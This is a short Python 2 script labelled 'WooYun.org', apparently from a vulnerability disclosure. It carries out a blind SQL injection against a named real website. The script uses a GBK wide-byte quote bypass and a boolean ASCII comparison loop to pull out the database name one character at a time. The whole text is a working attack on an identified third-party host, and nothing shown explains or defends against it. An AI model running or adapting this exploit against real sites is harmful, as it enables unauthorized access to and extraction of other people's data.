WooYun.org

#encoding=utf-8
import urllib
import urllib2
def spider():
    headers = {
            'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0 FirePHP/0.7.4',
            'Referer': 'http://www.baidu.com/index_3.php'
            }
    baseurl = 'http://jewelrydesign.aili.com/?a=work&id=1'
    user = ''
    for i in range(1,10):
        for payload in range(1,256):
            s = "%bf%27%0a||%0aascii(mid(lower(database()),{0},1))={1}%23&imgid=2138&m=archives".format(i,payload)
            url = baseurl + s
            req = urllib2.Request(url, headers=headers)
            html = urllib2.urlopen(req,timeout=30).read()
            if html.find('1357829453_43590400') > 0:    # True
                user += chr(payload)
                print '\r[In Progress]' + user + '\r'
                break
            else:
                print payload
    print '\n[Done]MySQL database is ' + user    
if __name__=="__main__":
    spider()